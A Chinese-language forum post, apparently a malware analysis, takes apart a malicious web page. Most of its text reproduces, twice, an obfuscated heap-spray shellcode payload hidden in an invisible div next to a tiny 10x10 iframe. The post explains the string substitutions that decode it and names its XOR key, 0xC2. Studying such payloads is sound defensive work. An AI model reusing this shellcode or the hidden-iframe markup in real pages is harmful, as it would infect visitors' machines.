code
===============
<div id=qdji3209k style='display:none'>sp245q0C0Csp245q9090sp245q10EBsp245q4B5Bsp245qC933sp245qB966sp245q0480sp245q3480sp245qC20Bsp245qFAE2sp245q05EBsp245qEBE8sp245qFFFFsp245q2BFFsp245qC13Dsp245qC2C2sp245qA69Dsp245qF263sp245qC2C2sp245q49C2sp245qCE82sp245qB249sp245q6FDEsp245qAA49sp245q49CAsp245qA835sp245q9BCDsp245q5D2Asp245qC2C1sp245q52C2sp245q3A20sp245qF1AAsp245qC2F0sp245qAAC2sp245qB197sp245qB0A7sp245q4996sp245qCE84sp245q2D2Asp245qC2C0sp245q49C2sp245qA82Asp245q9BC3sp245qBD2Asp245qC2C1sp245q20C2sp245qAA3Bsp245qACADsp245qC2C2sp245qB7AAsp245qAEB0sp245q96AFsp245q8449sp245q2ACEsp245qC012sp245qC2C2sp245q2A49sp245qC3A8sp245q2A9Bsp245qC1A2sp245qC2C2sp245q3B20sp245qAEAAsp245qF0F1sp245qAAC2sp245qAAB1sp245qAEA7sp245q4996sp245qCE84sp245q732Asp245qC2C0sp245q49C2sp245qA82Asp245q9BC3sp245q832Asp245qC2C1sp245q20C2sp245q433Bsp245qC22Esp245qC2C3sp245q49C2sp245q431Esp245q4201sp245qC2C2sp245qA8C2sp245qA8C2sp245q91D8sp245qC2A8sp245q943Dsp245qF186sp245q8202sp245qFE42sp245qC2C1sp245q3BB7sp245q444Bsp245qC252sp245qC2C2sp245qC605sp245q9EC1sp245qECA3sp245q05A7sp245qC186sp245qBAC6sp245qC2A7sp245qF1C2sp245q930Bsp245q9193sp245q9395sp245q02F1sp245q8449sp245q2A82sp245qC09Csp245qC2C2sp245q3A41sp245qCDC2sp245qBD47sp245qC2C3sp245qA8C2sp245qA8C2sp245qA8C2sp245qA8C1sp245qA8C2sp245qAAC0sp245qC2C2sp245q02C2sp245q4991sp245qE684sp245qFF2Asp245qC2C0sp245q41C2sp245q3D3Asp245q46CDsp245qC39Csp245qC2C2sp245q844Bsp245qA8A2sp245q92C2sp245q943Dsp245q4BEAsp245qA684sp245q4449sp245qC252sp245qC2C2sp245qC605sp245q9EC1sp245qECA0sp245q05A7sp245qC186sp245qBAC6sp245qC2A7sp245qA8C2sp245qA8C2sp245qA8C2sp245qA8C0sp245qA8C2sp245qAAC2sp245qC2C2sp245q82C2sp245q4991sp245qE684sp245q392Asp245qC2C3sp245q41C2sp245q3D3Asp245q46CDsp245qC3DEsp245qC2C2sp245q444Bsp245qC246sp245qC2C2sp245q5C4Bsp245qC24Esp245qC2C2sp245q8449sp245qA8A2sp245qA8C2sp245qA8C2sp245q49C2sp245qA284sp245q3D92sp245qFA94sp245q8405sp245qC2B2sp245qC2C2sp245q05C2sp245qB684sp245qC2C2sp245qC2C2sp245q0543sp245qC0C2sp245qC2C2sp245q19F1sp245q9C49sp245qA8A6sp245q4FC2sp245qB284sp245qAA92sp245qC6C2sp245qC2C2sp245q3D95sp245qA2B4sp245q943Dsp245qF1C6sp245q7B0Bsp245qC6C2sp245qC2C2sp245qBE42sp245q3DCDsp245qB657sp245q42CEsp245qCDBEsp245qC23Dsp245qC7B6sp245qB642sp245q3DCDsp245q2057sp245q4929sp245qEF01sp245qC6C2sp245qC2C2sp245q3A41sp245qBDC2sp245q4BC1sp245qB29Csp245qC2A8sp245q844Fsp245q92B6sp245qB43Dsp245q95B2sp245q743Dsp245qC246sp245qC2C2sp245q943Dsp245q43F2sp245qC229sp245qC2C6sp245q41C2sp245qC239sp245q67BDsp245qB43Dsp245q3DA2sp245qF694sp245q743Dsp245qC246sp245qC2C2sp245q943Dsp245q49F6sp245q5244sp245qC2C2sp245q49C2sp245q4E5Csp245qC2C2sp245q05C2sp245qC1C6sp245qA39Esp245qA7ECsp245q3D91sp245qEE94sp245q7C49sp245qC24Esp245qC2C2sp245q4449sp245qC252sp245qC2C2sp245qC605sp245q9EC5sp245qECA0sp245q43A7sp245qC22Esp245qC2C3sp245q49C2sp245qAA1Esp245qC3C2sp245qC2C2sp245qAA91sp245qC3C2sp245qC2C2sp245qA895sp245qA8C2sp245q3DC2sp245qDE94sp245q3949sp245q02F1sp245q19F1sp245q2E43sp245qC0C2sp245qC2C2sp245q0E49sp245q3A41sp245qBF96sp245q4BCAsp245qC3DEsp245q0241sp245q29C6sp245q4931sp245q490Esp245q411Bsp245qD201sp245q02F1sp245q9392sp245q9291sp245q9292sp245q9292sp245q9592sp245q9292sp245q8449sp245q2ACAsp245qC3C4sp245qC2C2sp245qBC49sp245q2AFEsp245qC390sp245qC2C2sp245qF52Asp245qC2C2sp245qAAC2sp245qB4A1sp245qC2B5sp245qB1AAsp245qA6AAsp245q96ADsp245q8449sp245q2ACEsp245qC274sp245qC2C2sp245q844Bsp245qA6FEsp245qC663sp245qC2C2sp245q4FC2sp245qA262sp245q3D3Dsp245qA83Dsp245q3DA7sp245qFEB4sp245q8449sp245q2AD2sp245qC258sp245qC2C2sp245q19F1sp245q9191sp245q9191sp245q123Dsp245qC12Asp245qC2C3sp245q43C2sp245qC22Esp245qC2C3sp245q49C2sp245q413Esp245qC605sp245qC505sp245qB6F0sp245qCE53sp245q8505sp245qA1C6sp245q134Bsp245q058Dsp245qCA85sp245qA762sp245q0955sp245q8505sp245q93CEsp245q7882sp245q05BDsp245qD285sp245qDFFCsp245qFB74sp245q8505sp245q7AD6sp245q16ABsp245q05D9sp245qDA85sp245qBD7Csp245q62A4sp245q8505sp245q3EDEsp245qF56Bsp245q056Fsp245qE285sp245qC85Asp245q3AD2sp245q63A6sp245qC2F2sp245qC2C2sp245q8249sp245q49CEsp245qDEB2sp245q496Fsp245qCAAAsp245q3549sp245q944Bsp245qA8A6sp245q9BC6sp245q032Asp245qC2C2sp245q52C2sp245q3A20sp245qF1AAsp245qC2F0sp245qAAC2sp245qB197sp245qB0A7sp245q4996sp245q2AC4sp245qC2D0sp245qC2C2sp245q2A49sp245qC7A8sp245q2A9Bsp245qC260sp245qC2C2sp245q3B20sp245q3DF1sp245q3D95sp245qC694sp245qFA42sp245qB62Asp245q42D0sp245q2BFAsp245qCFB6sp245qFA42sp245qB629sp245q3DCAsp245q2A22sp245qC2A2sp245qC2C2sp245q4301sp245qC7BAsp245q5252sp245q5252sp245qCAB6sp245q3D49sp245q4997sp245q4F2Esp245qC782sp245q223Dsp245q852Asp245qC2C2sp245q01C2sp245qFA42sp245qB62Asp245q42D0sp245q2BFAsp245qCFB6sp245qFA42sp245qB629sp245q3DCAsp245q2A22sp245qC2F2sp245qC2C2sp245q4301sp245qC7BAsp245q5252sp245q5252sp245q1AB6sp245qCAAAsp245qC2C8sp245q4FC2sp245qC782sp245q223Dsp245qD52Asp245qC2C2sp245q01C2sp245qD32Asp245qC2C2sp245q7AC2sp245qC3D3sp245q42C6sp245qCE00sp245q29C2sp245q9AC0sp245q2A01sp245q3D3Bsp245q3D3Dsp245q0499sp245q7AC5sp245q9D4Bsp245qA4C3sp245q8505sp245q3DC7sp245q0122sp245q4991sp245q911Esp245q82A8sp245qC2AAsp245qC2D2sp245q95C2sp245q8449sp245q2AE2sp245q3DAAsp245q3D3Dsp245q019Asp245q9493sp245qB749sp245q49FEsp245qECB6sp245qC1BAsp245q9437sp245qB449sp245qC1E2sp245qF137sp245q8B0Bsp245q6F83sp245q07C1sp245q19F1sp245q7CCDsp245qF8D2sp245qB614sp245q03CAsp245qC509sp245q18C1sp245q2982sp245qF933sp245qB7DDsp245q9C25sp245q9C49sp245qC1E6sp245qA41Fsp245qCE49sp245q4989sp245qDE9Csp245q1FC1sp245qC649sp245qC149sp245q6907sp245q9B9Csp245q2A01sp245q393Esp245q3D3Dsp245q3070sp245q3620sp245qF470sp245qD1CDsp245q8A32sp245qFFB9sp245qB6F0sp245qCE53sp245q1D47sp245q796Dsp245q4BA1sp245q8D13sp245q8293sp245qBD78sp245q50C5sp245qB2E0sp245q66DCsp245q2DA6sp245qF051sp245q5626sp245qD14Csp245q6EC8sp245qFBBBsp245q5A24sp245q4F06sp245qB6DDsp245qA495sp245q3DCFsp245q7C81sp245q196Esp245qC85Asp245q3AD2sp245q1442sp245q586Dsp245q9139sp245qA4D7sp245qB6AAsp245qB2B6sp245qEDF8sp245qA5EDsp245qB6BAsp245qA7B5sp245qECA0sp245qADA1sp245qEDAFsp245qB7A5sp245qB1ADsp245qABAAsp245qAAECsp245qAFB6sp245qC2AEsp245qC2C2sp245q0</div>
<iframe src="f123.htm" frameBorder=0 width = "10" height = "10"></iframe>

================
初步分析发现重复出现 245q 这个字符串 。 我们通过记事本吧245q 更改为%u 继续观察发现有了shellcode加密的模型了。
但是多余出了sp这个字符串，继续去掉之。

code
======================
<div id=qdji3209k style='dilay:none'>%u0C0C%u9090%u10EB%u4B5B%uC933%uB966%u0480%u3480%uC20B%uFAE2%u05EB%uEBE8%uFFFF%u2BFF%uC13D%uC2C2%uA69D%uF263%uC2C2%u49C2%uCE82%uB249%u6FDE%uAA49%u49CA%uA835%u9BCD%u5D2A%uC2C1%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%uCE84%u2D2A%uC2C0%u49C2%uA82A%u9BC3%uBD2A%uC2C1%u20C2%uAA3B%uACAD%uC2C2%uB7AA%uAEB0%u96AF%u8449%u2ACE%uC012%uC2C2%u2A49%uC3A8%u2A9B%uC1A2%uC2C2%u3B20%uAEAA%uF0F1%uAAC2%uAAB1%uAEA7%u4996%uCE84%u732A%uC2C0%u49C2%uA82A%u9BC3%u832A%uC2C1%u20C2%u433B%uC22E%uC2C3%u49C2%u431E%u4201%uC2C2%uA8C2%uA8C2%u91D8%uC2A8%u943D%uF186%u8202%uFE42%uC2C1%u3BB7%u444B%uC252%uC2C2%uC605%u9EC1%uECA3%u05A7%uC186%uBAC6%uC2A7%uF1C2%u930B%u9193%u9395%u02F1%u8449%u2A82%uC09C%uC2C2%u3A41%uCDC2%uBD47%uC2C3%uA8C2%uA8C2%uA8C2%uA8C1%uA8C2%uAAC0%uC2C2%u02C2%u4991%uE684%uFF2A%uC2C0%u41C2%u3D3A%u46CD%uC39C%uC2C2%u844B%uA8A2%u92C2%u943D%u4BEA%uA684%u4449%uC252%uC2C2%uC605%u9EC1%uECA0%u05A7%uC186%uBAC6%uC2A7%uA8C2%uA8C2%uA8C2%uA8C0%uA8C2%uAAC2%uC2C2%u82C2%u4991%uE684%u392A%uC2C3%u41C2%u3D3A%u46CD%uC3DE%uC2C2%u444B%uC246%uC2C2%u5C4B%uC24E%uC2C2%u8449%uA8A2%uA8C2%uA8C2%u49C2%uA284%u3D92%uFA94%u8405%uC2B2%uC2C2%u05C2%uB684%uC2C2%uC2C2%u0543%uC0C2%uC2C2%u19F1%u9C49%uA8A6%u4FC2%uB284%uAA92%uC6C2%uC2C2%u3D95%uA2B4%u943D%uF1C6%u7B0B%uC6C2%uC2C2%uBE42%u3DCD%uB657%u42CE%uCDBE%uC23D%uC7B6%uB642%u3DCD%u2057%u4929%uEF01%uC6C2%uC2C2%u3A41%uBDC2%u4BC1%uB29C%uC2A8%u844F%u92B6%uB43D%u95B2%u743D%uC246%uC2C2%u943D%u43F2%uC229%uC2C6%u41C2%uC239%u67BD%uB43D%u3DA2%uF694%u743D%uC246%uC2C2%u943D%u49F6%u5244%uC2C2%u49C2%u4E5C%uC2C2%u05C2%uC1C6%uA39E%uA7EC%u3D91%uEE94%u7C49%uC24E%uC2C2%u4449%uC252%uC2C2%uC605%u9EC5%uECA0%u43A7%uC22E%uC2C3%u49C2%uAA1E%uC3C2%uC2C2%uAA91%uC3C2%uC2C2%uA895%uA8C2%u3DC2%uDE94%u3949%u02F1%u19F1%u2E43%uC0C2%uC2C2%u0E49%u3A41%uBF96%u4BCA%uC3DE%u0241%u29C6%u4931%u490E%u411B%uD201%u02F1%u9392%u9291%u9292%u9292%u9592%u9292%u8449%u2ACA%uC3C4%uC2C2%uBC49%u2AFE%uC390%uC2C2%uF52A%uC2C2%uAAC2%uB4A1%uC2B5%uB1AA%uA6AA%u96AD%u8449%u2ACE%uC274%uC2C2%u844B%uA6FE%uC663%uC2C2%u4FC2%uA262%u3D3D%uA83D%u3DA7%uFEB4%u8449%u2AD2%uC258%uC2C2%u19F1%u9191%u9191%u123D%uC12A%uC2C3%u43C2%uC22E%uC2C3%u49C2%u413E%uC605%uC505%uB6F0%uCE53%u8505%uA1C6%u134B%u058D%uCA85%uA762%u0955%u8505%u93CE%u7882%u05BD%uD285%uDFFC%uFB74%u8505%u7AD6%u16AB%u05D9%uDA85%uBD7C%u62A4%u8505%u3EDE%uF56B%u056F%uE285%uC85A%u3AD2%u63A6%uC2F2%uC2C2%u8249%u49CE%uDEB2%u496F%uCAAA%u3549%u944B%uA8A6%u9BC6%u032A%uC2C2%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%u2AC4%uC2D0%uC2C2%u2A49%uC7A8%u2A9B%uC260%uC2C2%u3B20%u3DF1%u3D95%uC694%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2A2%uC2C2%u4301%uC7BA%u5252%u5252%uCAB6%u3D49%u4997%u4F2E%uC782%u223D%u852A%uC2C2%u01C2%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2F2%uC2C2%u4301%uC7BA%u5252%u5252%u1AB6%uCAAA%uC2C8%u4FC2%uC782%u223D%uD52A%uC2C2%u01C2%uD32A%uC2C2%u7AC2%uC3D3%u42C6%uCE00%u29C2%u9AC0%u2A01%u3D3B%u3D3D%u0499%u7AC5%u9D4B%uA4C3%u8505%u3DC7%u0122%u4991%u911E%u82A8%uC2AA%uC2D2%u95C2%u8449%u2AE2%u3DAA%u3D3D%u019A%u9493%uB749%u49FE%uECB6%uC1BA%u9437%uB449%uC1E2%uF137%u8B0B%u6F83%u07C1%u19F1%u7CCD%uF8D2%uB614%u03CA%uC509%u18C1%u2982%uF933%uB7DD%u9C25%u9C49%uC1E6%uA41F%uCE49%u4989%uDE9C%u1FC1%uC649%uC149%u6907%u9B9C%u2A01%u393E%u3D3D%u3070%u3620%uF470%uD1CD%u8A32%uFFB9%uB6F0%uCE53%u1D47%u796D%u4BA1%u8D13%u8293%uBD78%u50C5%uB2E0%u66DC%u2DA6%uF051%u5626%uD14C%u6EC8%uFBBB%u5A24%u4F06%uB6DD%uA495%u3DCF%u7C81%u196E%uC85A%u3AD2%u1442%u586D%u9139%uA4D7%uB6AA%uB2B6%uEDF8%uA5ED%uB6BA%uA7B5%uECA0%uADA1%uEDAF%uB7A5%uB1AD%uABAA%uAAEC%uAFB6%uC2AE%uC2C2%u0</div>
<iframe src="f123.htm" frameBorder=0 width = "10" height = "10"></iframe>
==============

标准的shellcode

解密结果为：



shellcode xor 加密。。。。 xor值c2

附件: shellode xor.txt (2010-6-11 17:05:56, 5.81 K)
该附件被下载次数 529

用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4